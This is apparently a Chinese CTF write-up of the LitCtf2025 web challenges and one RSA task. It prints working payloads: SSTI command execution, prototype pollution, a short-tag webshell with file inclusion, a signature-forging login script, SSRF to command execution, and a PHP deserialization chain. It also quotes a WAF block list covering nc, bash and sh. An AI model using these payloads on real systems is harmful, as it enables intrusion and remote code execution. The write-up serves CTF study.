LitCtf2025WEB方向全解

前言

队友都不在,一人的LitCtf,简单写了写web题,拿了easy_file和多重宇宙日记的一血还不错。

Web

nest_js

普通的登录页面

弱口令爆破,账号是admin,密码是password

星愿信箱

漏洞分析

输入什么就会回显,响应包显示是python后端,典型的SSTI

两个花括号被过滤,用百分号格式绕过

测试成功,打payload

payload

1
2
3
{%print(lipsum.__globals__.__builtins__['__import__']('os').popen('ls /').read())%}

//我是app bin boot dev docker-entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

发现flag文件,这里cat命令被过滤,用nl即可

多重宇宙日记

描述

ez原型链,你能成为管理员拿到flag吗?

欢迎来到多重宇宙日记!

在这里,你可以记录下你在各个宇宙中的冒险笔记。

据说,管理员拥有一把能够解锁宇宙终极秘密的钥匙,它就藏在管理员的专属控制面板里。然而,这个控制面板似乎只有真正的管理员才能进入。

你的任务是,找到方法进入管理员面板,并拿到那把名为Flag的钥匙。

思路

经典的js原型链污染问题,我们需要污染后端的某个代表管理员的值,让我们的身份变成管理员,从而解锁隐藏按钮

注册

随便注册一个账号,admin(是我随便取的名字),发现有更新和发送两个功能

更新设置

发现更新了一个json,注意载荷

发送原始json

我们可以构造和上一部分一样的json发送,{“setting”:{“theme”:”123”,”language”:”123”}}也能达到修改json的效果

前端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}

// 刷新页面以更新导航栏(如果isAdmin状态改变)

我们发现这样一行注释,也就是说明后端是检测isAdmin这个变量来确定我们是不是admin,接下来就是原型链污染

Payload

1
2

{"settings":{"theme":"123","language":"123","__proto__":{"isAdmin":true}}}

就发现出现了管理员面板,进入得到flag

easy_file

弱口令爆破

登录页面,尝试sql注入无果,弱口令输入admin/password

进入后台

文件上传

waf分析

后缀

后缀应该用的白名单,尝试.htaccess .user.ini Php 大小写绕过一堆都没成功,只允许上传jpg文件,一般文件上传题目如果只允许上传jpg等文件,一般都存在文件包含漏洞,本题就是。

内容检测

不能出现<?php,不然会被拦住

这里用短标签绕过

文件包含点

登陆页面源码存在注释,file查看头像

管理后台传入file发现include点

木马利用

执行成功

得到flag

easy_signin(部分思路,后期补全)

目录扫描

可以发现登录页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;


loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}

const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();


const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);


const timestamp = Date.now().toString(); //五分钟


const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});

const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});

passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});

发现他是把username和password进行md5加密,各取出前六位和当前时间戳构成新字符串,然后再md5加密制作一个校验码

爆破密码

用bp爆破模块,账号是21232f297a57a5a743894a0e4a801fc3(admin)
然后用密码字典进过md5加密后爆破得到密码为0192023a7bbd73250516f069df18b500,然后会显示校验错误

{“code”:403,”msg”:”\u7b7e\u540d\u9a8c\u8bc1\u5931\u8d25”}

接下来我们要伪造X-Sign校验码

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
import time, requests, os,hashlib
admin = "21232f297a57a5a743894a0e4a801fc3"
password = "0192023a7bbd73250516f069df18b500"
key="easy_signin"
t = str(int(time.time()*1000))

sign = hashlib.md5((admin[0: 6] + password[0:6]+t+key).encode("utf-8")).hexdigest()
url="http://node6.anna.nssctf.cn:21432/login.php"
data={"username":admin,"password":password,"timestamp":t}
header={"X-Sign":sign}
res=requests.post(url,data=data,headers=header)
print(res.headers)

然后即可登陆成功

进入文档管理页面

接下来我们在前段源码发现api提示

进入发现url

1
/api/sys/urlcode.php?url=

大概率是要SSRF伪造本地访问了,我们用伪协议试试发现在前端代码出现注释

1
/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!--?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}

?-->

发现可以传入name来命令执行,然后继续ssrf构造攻击

1
http://node6.anna.nssctf.cn:21432/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls%2520../

在上级目录发现327a6c4304ad5938eaf0efb6cc3e53dc.php,但是无法读取,我们直接访问得到flag

君の名は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

触发链子没什么难度,主要是对开头Oa的绕过,还有最后匿名函数的触发

利用点

1
(new $args[0]($args[1]))->{$this->listenl1ng}();

新建一个类,然后调用他的一个方法,并且还是无参方法。

然后我们发现

1
2
create_function("", 'die(`/readflag`);');
第一次访问函数名为:\000lambda_1

他创造了一个匿名函数,匿名函数的函数名是会改变的在web页面中打开php文件,每刷新一次函数名的数字就会加一,\000lambda_1只是第一次访问题目环境时匿名函数的名字,我们这里可能需要爆破,或者你重新开一个靶机

ReflectionFunction

这里我们就可以用他的invoke方法触发匿名函数,而且正好无参

Oa绕过

然后就是Oa绕过了

  • ArrayObject::unserialize
  • ArrayIterator::unserialize
  • RecursiveArrayIterator::unserialize
  • SplObjectStorage::unserialize

这里用这几个类可以进行伪装

这里题目能绕过是因为他的正则匹配是头字符串起始位置匹配,只检查开头位置。php8好像不太行。php7是可以的。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();
$a->musubi = $b;
$b->thread = $c;
$c->soul = $a;
$arr=array("123"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

非预期解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
1
return ($this->musubi)();

这个位置直接进行函数执行也是可以的

密码学

basic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from enc import flag

m = bytes_to_long(flag)
n = getPrime(1024)
e = 65537
c = pow(m,e,n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")


# n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
# e = 65537
# c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

由于n为素数,攻击者可直接计算私钥d并解密

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import inverse, long_to_bytes

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

phi = n - 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())

LitCtf2025WEB方向全解
https://lvyzcc.github.io/2025/05/27/LitCtf2025Web方向全wp/
作者
LvYz
发布于
2025年5月27日
许可协议